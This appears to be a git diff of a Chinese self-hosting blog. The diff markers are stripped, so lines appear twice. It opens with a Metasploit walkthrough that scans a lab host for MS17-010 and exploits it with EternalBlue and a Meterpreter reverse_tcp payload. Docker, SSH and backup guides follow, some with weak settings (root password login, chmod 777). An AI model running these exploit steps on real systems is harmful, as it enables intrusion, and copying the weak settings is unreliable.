- **`192.168.97.128`**:扫描指定的 IP
- **MSF** 端口扫描
1. 使用模块
```bash
use auxiliary/scanner/portscan/tcp
```
```bash
use auxiliary/scanner/portscan/tcp
```
2. 设置扫描ip
2. 设置扫描 ip
```bash
set rhosts 192.168.97.128
```
```bash
set rhosts 192.168.97.128
```
3. 运行
```bash
run
```
```bash
run
```
### 六. 查找永恒之蓝漏洞
微软 永恒之蓝 编号`ms17-010`
```bash
search ms17_010
search ms17_010
```
1. `exploit/windows/smb/ms17_010_eternalblue`
* 这个模块利用了MS17-010漏洞通过EternalBlue攻击载荷远程执行代码。
* EternalBlue利用Windows的Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。
* 攻击成功后通常会在目标机器上生成一个Meterpreter会话从而允许进一步的渗透测试操作。
- 这个模块利用了 MS17-010 漏洞,通过 EternalBlue 攻击载荷,远程执行代码。
- EternalBlue 利用 Windows 的 Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。
- 攻击成功后,通常会在目标机器上生成一个 Meterpreter 会话,从而允许进一步的渗透测试操作。
2. `exploit/windows/smb/ms17_010_psexec`
* 这个模块结合MS17-010漏洞和Psexec技术通过SMB协议在目标系统上执行命令。
* 利用MS17-010漏洞进行初始攻击然后使用Psexec进行进一步的远程命令执行。
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
- 这个模块结合 MS17-010 漏洞和 Psexec 技术,通过 SMB 协议在目标系统上执行命令。
- 利用 MS17-010 漏洞进行初始攻击,然后使用 Psexec 进行进一步的远程命令执行。
- 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。
3. `auxiliary/admin/smb/ms17_010_command`
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
- 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。
- 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
- 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。
4. `auxiliary/scanner/smb/smb_ms17_010`
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
* 不会进行实际的漏洞利用或攻击而是仅检测目标系统是否易受MS17-010漏洞的影响。
- 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。
- 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受 MS17-010 漏洞的影响。
### 七. 漏洞检测
* 使用探测模块
- 使用探测模块
1. 使用`Auxiliary`辅助探测模块
```bash
use auxiliary/scanner/smb/smb_ms17_010
```
```bash
use auxiliary/scanner/smb/smb_ms17_010
```
```bash
use 24
```
```bash
use 24
```
2. 查看需要配置的参数
```bash
show options
```
```bash
show options
```
3. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
```bash
set rhosts 192.168.97.128
```
4. 运行
```bash
run
```
```bash
run
```
* nmap
- nmap
```bash
nmap --script smb-vuln-ms17-010 192.168.97.128
@ -171,29 +176,29 @@ search ms17_010
1. 加载 ms17-010 攻击模块
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
2. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
```bash
set rhosts 192.168.97.128
```
3. 设置连接方式为反向连接
```bash
set payload windows/x64/meterpreter/reverse_tcp
```
```bash
set payload windows/x64/meterpreter/reverse_tcp
```
4. 运行
```bash
run
```
```bash
run
```
### Meterpreter的命令用法
### Meterpreter 的命令用法
```bash
==========================================
@ -370,33 +375,33 @@ timestomp 操作文件 MACE 属性
#### 基础使用
* 进入框架
- 进入框架
```bash
msfconsole
```
* 查找漏洞
- 查找漏洞
```bash
search 漏洞编号
```
* 使用模块
- 使用模块
```bash
run
```
#### Meterpreter工作原理
#### Meterpreter 工作原理
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接或者反弹 reverse 连接。反射连接的时候加载dll链接文件同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后Meterpreter加载扩展所有的扩展被加载都通过TLS/1.0进行数据传输。
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后Meterpreter 加载扩展,所有的扩展被加载都通过 TLS/1.0 进行数据传输。
#### 漏洞利用(exploit)
> 漏洞利用exploit也就是我们常说的exp他就是对漏洞进行攻击的代码。
> 漏洞利用 exploit也就是我们常说的 exp他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit)
```php
/usr/share/metasploit-framework/modules/exploits
@ -404,52 +409,51 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
#### 攻击载荷(payload)
> PayloadPayload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码而在Metasploit中Payload是一种特殊模块它们能够以漏洞利用模块运行并能够利用目标系统中的安全漏洞实施攻击。简而言之这种漏洞利用模块可以访问目标系统而其中的代码定义了Payload在目标系统中的行为。
> PayloadPayload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在 Metasploit Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。
>
> ShellcodeShellcode是payload中的精髓部分在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下目标系统执行了shellcode这一组指令之后才会提供一个命令行shell。
> ShellcodeShellcode payload 中的精髓部分在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下,目标系统执行了 shellcode 这一组指令之后,才会提供一个命令行 shell。
##### payload模块路径
##### payload 模块路径
```php
/usr/share/metasploit-framework/modules/payloads
```
##### Metasploit中的 Payload 模块主要有以下三种类型
##### Metasploit 中的 Payload 模块主要有以下三种类型
* Single
- Single
> 是一种完全独立的Payload而且使用起来就像运行calc.exe一样简单例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
>
* Stager
> 是一种完全独立的 Payload而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的,因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。
> 这种Payload 负责建立目标用户与攻击者之间的网络连接并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp它可以让目标系统开启一个tcp监听器而攻击者随时可以与目标系统进行通信(正向连接)。  
>
* Stage
- Stager
> 是Stager Payload下的一种Payload组件这种Payload可以提供更加高级的功能而且没有大小限制。
>
> 这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp它可以让目标系统开启一个 tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
##### 几种常见的payload
- Stage
* 正向连接
> 是 Stager Payload 下的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。
##### 几种常见的 payload
- 正向连接
```bash
windows/meterpreter/bind_tcp
```
* 反向连接
- 反向连接
```bash
windows/meterpreter/reverse_tcp
```
* 过监听80端口反向连接
- 过监听 80 端口反向连接
```bash
windows/meterpreter/reverse_http
```
* 通过监听443端口反向连接
- 通过监听 443 端口反向连接
```bash
windows/meterpreter/reverse_https
@ -457,15 +461,14 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit)
##### **使用场景**
* 正向连接使用场景:
- 正向连接使用场景:
> 我们的攻击机在内网环境被攻击机是外网环境由于被攻击机无法主动连接到我们的主机所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是被攻击机上开了防火墙只允许访问指定的端口比如被攻击机只对外开放了80端口。那么我们就只能设置正向连接80端口了这里很有可能失败因为80端口上的流量太多了。
>
* 反向连接使用场景:
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口。那么,我们就只能设置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了。
- 反向连接使用场景:
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
>
* 反向连接80和443端口使用场景
> 被攻击机能主动连接到我们的主机还有就是被攻击机的防火墙设置的特别严格就连被攻击机访问外部网络的流量也进行了严格的限制只允许被攻击机的80端口或443端口与外部通信。
>
- 反向连接 80 和 443 端口使用场景:
> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信。

View File

@ -32,21 +32,21 @@ tags: ["Docker-compose"]
构建 PHP 容器,安装 PDO_MySQL 扩展并配置 PHP.ini
```dockerfile
FROM php:fpm
```dockerfile
FROM php:fpm
# 更新包列表并安装 pdo_mysql 扩展
RUN apt-get update && \
apt-get install -y libpq-dev && \
docker-php-ext-install pdo_mysql && \
rm -rf /var/lib/apt/lists/*
# 更新包列表并安装 pdo_mysql 扩展
RUN apt-get update && \
apt-get install -y libpq-dev && \
docker-php-ext-install pdo_mysql && \
rm -rf /var/lib/apt/lists/*
# 设置 PHP 配置
RUN { \
echo "output_buffering = 4096"; \
echo "date.timezone = PRC"; \
} > /usr/local/etc/php/conf.d/custom.ini
```
# 设置 PHP 配置
RUN { \
echo "output_buffering = 4096"; \
echo "date.timezone = PRC"; \
} > /usr/local/etc/php/conf.d/custom.ini
```
2. **Nginx 服务器配置**
@ -54,41 +54,41 @@ tags: ["Docker-compose"]
Nginx 服务器配置文件,包括服务器监听、根目录设置、重写规则和 PHP 处理:
```nginx
server {
listen 80 default_server; # 监听 80 端口
root /var/www/html; # 网站根目录
index index.php index.html index.htm;
```nginx
server {
listen 80 default_server; # 监听 80 端口
root /var/www/html; # 网站根目录
index index.php index.html index.htm;
access_log /var/log/nginx/typecho_access.log main; # 访问日志
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php
}
access_log /var/log/nginx/typecho_access.log main; # 访问日志
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php$1 last; # 重写 URL 到 index.php
}
location / {
if (!-e $request_filename) {
rewrite . /index.php last; # 如果文件不存在,重写到 index.php
}
}
location / {
if (!-e $request_filename) {
rewrite . /index.php last; # 如果文件不存在,重写到 index.php
}
}
location ~ \.php(.*)$ {
fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数
include fastcgi_params; # 包含 fastcgi 参数
}
}
```
location ~ \.php(.*)$ {
fastcgi_pass php:9000; # 转发 PHP 请求到 php-fpm 服务
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置脚本文件名参数
include fastcgi_params; # 包含 fastcgi 参数
}
}
```
3. **Typecho 源代码部署**
创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。
docker容器不以root权限运行,无法访问文件,需要赋权
docker 容器不以 root 权限运行,无法访问文件,需要赋权
```bash
chmod -R 777 data
```
```bash
chmod -R 777 data
```
4. **Docker Compose 配置**
@ -98,52 +98,51 @@ tags: ["Docker-compose"]
可自行更改
* nginx 中的端口,默认为`9757`
* MySQL中的 root的密码 和 需要创建的数据库名称,默认都为`typecho`
- nginx 中的端口,默认为`9757`
- MySQL 中的 root 的密码 和 需要创建的数据库名称,默认都为`typecho`
```yaml
services: # 定义多个服务
```yaml
services: # 定义多个服务
nginx: # 服务名称
image: nginx # 使用的镜像
ports: # 映射的端口
- "9575:80" # 宿主机端口 9575 映射到容器端口 80
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
- ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
- ./nginx/logs:/var/log/nginx # nginx 日志文件
depends_on: # 定义依赖关系
- php # 依赖 php 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
nginx: # 服务名称
image: nginx # 使用的镜像
ports: # 映射的端口
- "9575:80" # 宿主机端口 9575 映射到容器端口 80
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
- ./nginx/conf:/etc/nginx/conf.d # nginx 站点配置文件
- ./nginx/logs:/var/log/nginx # nginx 日志文件
depends_on: # 定义依赖关系
- php # 依赖 php 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
php: # 服务名称
build: ./php # 构建文件的目录
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
depends_on: # 定义依赖关系
- mysql # 依赖 mysql 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
mysql: # 服务名称
image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像
restart: always # 容器重启策略
volumes: # 要映射的文件
- ./mysql/data:/var/lib/mysql # mysql 数据
- ./mysql/logs:/var/log/mysql # mysql 日志
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件
environment: # 环境变量
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码
MYSQL_DATABASE: typecho # 创建的数据库名称
networks: # 要加入的网络
- typecho # 加入 typecho 网络
php: # 服务名称
build: ./php # 构建文件的目录
restart: always # 容器重启策略
volumes: # 映射文件
- ./data:/var/www/html # 网站源代码
depends_on: # 定义依赖关系
- mysql # 依赖 mysql 服务
networks: # 要加入的网络
- typecho # 加入 typecho 网络
networks: # 定义的内部网络
typecho: # 网络名称
```
mysql: # 服务名称
image: mysql:5.7 # 指定 5.7 版本的 mysql 镜像
restart: always # 容器重启策略
volumes: # 要映射的文件
- ./mysql/data:/var/lib/mysql # mysql 数据
- ./mysql/logs:/var/log/mysql # mysql 日志
- ./mysql/conf:/etc/mysql/conf.d # mysql 配置文件
environment: # 环境变量
MYSQL_ROOT_PASSWORD: typecho # MySQL root 用户的密码
MYSQL_DATABASE: typecho # 创建的数据库名称
networks: # 要加入的网络
- typecho # 加入 typecho 网络
networks: # 定义的内部网络
typecho: # 网络名称
```
## 安装
@ -157,34 +156,34 @@ docker compose up -d
如果修改过`docker-compose.yml`
* 数据库地址: `mysql`
- 数据库地址: `mysql`
```text
因为docker内部网络可以用过容器名访问
```
* 数据库用户名: `root`
* 数据库密码: `typecho`
* 数据库名: `typecho`
* 启用数据库 SSL 服务端证书验证: 关闭
* 其他默认或随意
- 数据库用户名: `root`
- 数据库密码: `typecho`
- 数据库名: `typecho`
- 启用数据库 SSL 服务端证书验证: 关闭
- 其他默认或随意
## 问题
### 恢复直接用nginx+MySQL搭建的网站
### 恢复直接用 nginx+MySQL 搭建的网站
1. 将原来的文件放入data
1. 将原来的文件放入 data
2. 进入mysql容器,导入数据库文件
2. 进入 mysql 容器,导入数据库文件
3. 在`docker-compose.yml`的环境变量中加入
```yaml
MYSQL_USER=typecho # 原有 MySQL 用户名
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
```
```yaml
MYSQL_USER=typecho # 原有 MySQL 用户名
MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码
```
4. 进入mysql容器,将数据库赋权给原用户
4. 进入 mysql 容器,将数据库赋权给原用户
### 排版错误

View File

@ -72,7 +72,7 @@ ssh -p 7222 -o StrictHostKeyChecking=no git@127.0.0.1 "SSH_ORIGINAL_COMMAND=\"$S
### 3. 创建`docker-compose.yml` 文件并配置
> 将下面的USER_UID=1000 USER_GID=1000 换为得到uid 和 gid
> 将下面的 USER_UID=1000 USER_GID=1000 换为得到 uid 和 gid
```yaml
version: "3"
@ -149,3 +149,4 @@ server {
proxy_set_header X-Forwarded-Port $server_port;
}
}
```

View File

@ -8,8 +8,8 @@ tags: ["Docker-compose"]
### 替换说明
*`/var/www/siyuan/` 替换为你的实际物理路径。
*`Password` 替换为你的访问密码。
-`/var/www/siyuan/` 替换为你的实际物理路径。
-`Password` 替换为你的访问密码。
```yaml
version: "3.9"
@ -30,10 +30,10 @@ services:
## 反向代理配置
### Nginx配置替换说明
### Nginx 配置替换说明
*`your_domain.com` 替换为你自己的域名。
* 将 `path` 替换为你的SSL证书的实际路径。
-`your_domain.com` 替换为你自己的域名。
- 将 `path` 替换为你的 SSL 证书的实际路径。
```nginx
upstream siyuan {
@ -78,3 +78,4 @@ server {
proxy_set_header Connection 'Upgrade'; # 支持 WebSocket
}
}
```

View File

@ -2,7 +2,6 @@
title: "密码管理器—Vaultwarden(bitwarden)"
date: 2023-05-18T21:47:00+00:00
tags: ["Docker-compose"]
---
## 1. 安装 Vaultwarden
@ -10,7 +9,7 @@ tags: ["Docker-compose"]
使用以下 `docker-compose.yml` 文件部署 Vaultwarden
```yaml
version: '3.8'
version: "3.8"
services:
bitwarden:
image: vaultwarden/server:latest
@ -34,10 +33,10 @@ services:
> **需要修改的参数**
>
> 1. `ssl_certificate` : SSL证书路径
> 2. `ssl_certificate_key` : SSL证书路径
> 3. `server_name`: 跟你前面配置的domain相同,案例中为`b.lsy22.com`
> 4. `proxy_pass` : 运行Vaultwarden的服务器地址和端口比如本机为127.0.0.1:6666
> 1. `ssl_certificate` : SSL 证书路径
> 2. `ssl_certificate_key` : SSL 证书路径
> 3. `server_name`: 跟你前面配置的 domain 相同,案例中为`b.lsy22.com`
> 4. `proxy_pass` : 运行 Vaultwarden 的服务器地址和端口,比如本机为 127.0.0.1:6666
```nginx
server {
@ -47,10 +46,10 @@ server {
listen [::]:443 ssl http2;
server_name b.lsy22.com; # 将 your_domain.com 替换为您的域名
ssl_certificate /root/.acme.sh/b.lsy22.com/fullchain.cer; # 填入SSL证书路径
ssl_certificate_key /root/.acme.sh/b.lsy22.com/b.lsy22.com.key;# 填入SSL证书路径
location / {
proxy_pass http://127.0.0.1:6666;
proxy_http_version 1.1;

View File

@ -1,25 +1,25 @@
---
title: "网盘直链程序—AList"
date: 2023-05-26T20:21:00+00:00
tags: ["Docker-compose","WebDAV"]
tags: ["Docker-compose", "WebDAV"]
---
## 1. 项目展示
- **GitHub项目地址**[Alist on GitHub](https://github.com/Xhofe/alist)
- **Demo演示站点**[访问Demo](https://alist.nn.ci)
- **Alist文档地址**[阅读文档](https://alist-doc.nn.ci/en/)
- **GitHub 项目地址**[Alist on GitHub](https://github.com/Xhofe/alist)
- **Demo 演示站点**[访问 Demo](https://alist.nn.ci)
- **Alist 文档地址**[阅读文档](https://alist-doc.nn.ci/en/)
## 2. 搭建Docker
## 2. 搭建 Docker
- [Docker官方部署教程](https://docs.docker.com/engine/install/debian/)
- [Docker 官方部署教程](https://docs.docker.com/engine/install/debian/)
## 3. 搭建Alist
## 3. 搭建 Alist
运行以下Docker Compose文件进行Alist的安装
运行以下 Docker Compose 文件进行 Alist 的安装:
```yaml
version: '3.8'
version: "3.8"
services:
alist:
image: xhofe/alist:latest
@ -31,12 +31,12 @@ services:
- "7777:5244"
```
- **查看初始化密码**:运行`docker logs alist`命令可以查看Alist的初始密码。
- **查看初始化密码**:运行`docker logs alist`命令,可以查看 Alist 的初始密码。
- **更改密码建议**:建议更改一个自己能够记住的密码。
## 4. 配置反向代理
配置Nginx反向代理以便安全访问Alist站点
配置 Nginx 反向代理,以便安全访问 Alist 站点:
```nginx
server {
@ -49,7 +49,7 @@ server {
ssl_certificate /root/.acme.sh/o.lsy22.com/fullchain.cer; # SSL证书路径
ssl_certificate_key /root/.acme.sh/o.lsy22.com/o.lsy22.com.key; # SSL密钥路径
location / {
proxy_pass http://127.0.0.1:7777/;
rewrite ^/(.*)$ /$1 break;
@ -72,15 +72,15 @@ server {
## 6. 挂载配置
- **挂载路径**`/`
- **根目录路径**`/opt/alist/data/`对应VPS上的`/www/wwwroot/alist`目录。
- **根目录路径**`/opt/alist/data/`对应 VPS 上的`/www/wwwroot/alist`目录。
如果需要进一步的目录细分,可以设置路径为`/opt/alist/data/Userdata/`,在`/www/wwwroot/alist`下创建`Userdata`文件夹,并存放文件。
- **其他网盘添加方式**:请参考[Alist文档](https://alist-doc.nn.ci/en/)
- **其他网盘添加方式**:请参考[Alist 文档](https://alist-doc.nn.ci/en/)
## 7. 更新Alist
## 7. 更新 Alist
若需更新Alist请按以下步骤操作
若需更新 Alist请按以下步骤操作
1. **停止容器**:运行`docker stop alist`
2. **删除容器**:运行`docker rm -f alist`(此操作不会删除数据)

View File

@ -42,20 +42,19 @@ sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/ins
### 主题
* [powerlevel10k](https://github.com/romkatv/powerlevel10k)
- [powerlevel10k](https://github.com/romkatv/powerlevel10k)
### 插件
* [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
* [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
- [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions): 根据历史记录和完成情况在您输入时建议命令
- [zsh-syntax-highlighting](https://github.com/zsh-users/zsh-syntax-highlighting): 输入命令时提供语法高亮
#### oh-my-zsh 自带插件
直接按照上述方法在 `.zshrc` 配置的 `plugins` 中加入即可:
* [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
* [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
* [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
* [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持
- [command-not-found](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/command-not-found): 在 `zsh` 找不到命令时提供建议的安装包
- [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件
- [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全
- [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持
- [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持

View File

@ -4,86 +4,86 @@ date: 2024-06-30T23:46:05+08:00
tags: []
---
## 更改root密码
## 更改 root 密码
> 将`password`更改为所需的密码
1. 修改密码
```bash
echo root:`password` |sudo chpasswd root
```
```bash
echo root:`password` |sudo chpasswd root
```
2. 开启root登录
2. 开启 root 登录
```bash
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
```
```bash
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config;
```
3. 开启密码登录
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
```
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config;
```
4. 重启ssh服务
4. 重启 ssh 服务
```bash
systemctl restart sshd.service
```
```bash
systemctl restart sshd.service
```
## 配置使用密钥登录
1. 生成密钥和公钥,请执行以下命令:
```bash
ssh-keygen -t rsa -b 4096
```
```bash
ssh-keygen -t rsa -b 4096
```
> 连续执行回车即可生成密钥和公钥对。如果需要设置密码,请在密码提示处输入密码。
2. 安装ssh公钥
2. 安装 ssh 公钥
```bash
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
```
```bash
cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys"
```
3. 设置公钥权限
```bash
chmod 600 "$HOME/.ssh/authorized_keys"
chmod 700 "$HOME/.ssh"
```
```bash
chmod 600 "$HOME/.ssh/authorized_keys"
chmod 700 "$HOME/.ssh"
```
4. ssh配置文件
4. ssh 配置文件
1. 开启密钥登录
```bash
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
```
```bash
sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
```
2. 关闭密码登录
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
```
```bash
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
```
5. 重启sshd服务
5. 重启 sshd 服务
```bash
systemctl restart sshd.service
```
```bash
systemctl restart sshd.service
```
## ssh登录后闲置时间过长而断开连接
## ssh 登录后闲置时间过长而断开连接
```bash
echo "ServerAliveInterval 60" >> "$HOME/.ssh/config"
```
> ssh客户端会每隔一段60s自动与ssh服务器通信一次
> ssh 客户端会每隔一段 60s自动与 ssh 服务器通信一次
## 存放ssh密钥密码
## 存放 ssh 密钥密码
### 启动`ssh-agent`

View File

@ -4,41 +4,41 @@ date: 2024-05-03T20:32:15+08:00
tags: []
---
## 安装bypy
## 安装 bypy
### 安装 pip 和虚拟环境
1. 安装虚拟环境创建工具:
```bash
sudo apt-get install python3-venv -y
```
```bash
sudo apt-get install python3-venv -y
```
2. 创建一个新的虚拟环境:
```bash
python3 -m venv "/var/script/venv"
```
```bash
python3 -m venv "/var/script/venv"
```
3. 激活虚拟环境:
```bash
source "/var/script/venv/bin/activate"
```
```bash
source "/var/script/venv/bin/activate"
```
4. 安装 Python 库
1. 安装 bypy
1. 安装 bypy
```bash
pip install bypy
```
```bash
pip install bypy
```
2. 安装 requests
2. 安装 requests
```bash
pip install requests
```
```bash
pip install requests
```
### bypy 设置
@ -52,51 +52,51 @@ tags: []
##### bypy 基本操作
* `bypy info`:查看空间使用信息。
* `bypy list`:查看目录信息。
* `bypy upload`:上传根目录所有文件。
* `bypy downdir`:把云盘上的内容同步到本地。
* `bypy compare`:比较本地当前目录和云盘根目录。
- `bypy info`:查看空间使用信息。
- `bypy list`:查看目录信息。
- `bypy upload`:上传根目录所有文件。
- `bypy downdir`:把云盘上的内容同步到本地。
- `bypy compare`:比较本地当前目录和云盘根目录。
## 安装阿里网盘备份工具
Github项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
Github 项目地址:[https://github.com/tickstep/aliyunpan](https://github.com/tickstep/aliyunpan)
1. 下载工具包
```bash
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
```
```bash
wget -P "/var/script" https://github.com/tickstep/aliyunpan/releases/download/v0.3.2/aliyunpan-v0.3.2-linux-amd64.zip -O "/var/script/aliyunpan.zip"
```
2. 解压工具包
```bash
unzip "/var/script/aliyunpan.zip" -d "/var/script"
```
```bash
unzip "/var/script/aliyunpan.zip" -d "/var/script"
```
3. 删除压缩包
```bash
rm "/var/script/aliyunpan.zip"
```
```bash
rm "/var/script/aliyunpan.zip"
```
4. 重命名工具包名
```bash
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
```
```bash
mv "/var/script/$(ls "/var/script" | grep "aliyunpan")" "/var/script/aliyunpan"
```
5. 登录阿里云盘
```bash
/var/script/aliyunpan/aliyunpan login
```
```bash
/var/script/aliyunpan/aliyunpan login
```
## Shell 备份脚本
> 将`数据路径``网站根目录名称``数据库名称``数据库用户名``数据库密码`改为自己的
### 使用于只用docker-compose搭建,只需要备份文件,并上传到网盘
### 使用于只用 docker-compose 搭建,只需要备份文件,并上传到网盘
```bash
#!/bin/bash
@ -123,7 +123,7 @@ for item in "$web_path"/*; do
done
```
### 适用于 mysql+nginx的网站,需要备份文件和数据库,并上传到网盘
### 适用于 mysql+nginx 的网站,需要备份文件和数据库,并上传到网盘
```bash
#!/bin/bash
@ -144,7 +144,7 @@ source ~/myvenv/bin/activate
for item in "${mysql_arry[@]}"; do
# 创建SQL备份
mysqldump -u $user -p$password ${item} > "${item}_${date_time}.sql"
# 检查是否有同名的网站目录
if [[ " ${web_arry[@]} " =~ " ${item} " ]]; then
# 切换到网站目录进行压缩
@ -189,7 +189,7 @@ for item in "${web_arry[@]}"; do
done
```
### 适用于 mysql+nginx的网站,需要备份文件和数据库
### 适用于 mysql+nginx 的网站,需要备份文件和数据库
```bash
#!/bin/bash
@ -198,7 +198,7 @@ web_path="/var/www" # 数据路径
web_arry=("alist" "bitwarden" "blog") # 网站根目录名称
mysql_arry=("blog" "study") # 数据库名称
date_time=$(date +"%Y_%m_%d")
year=$(date +"%Y")
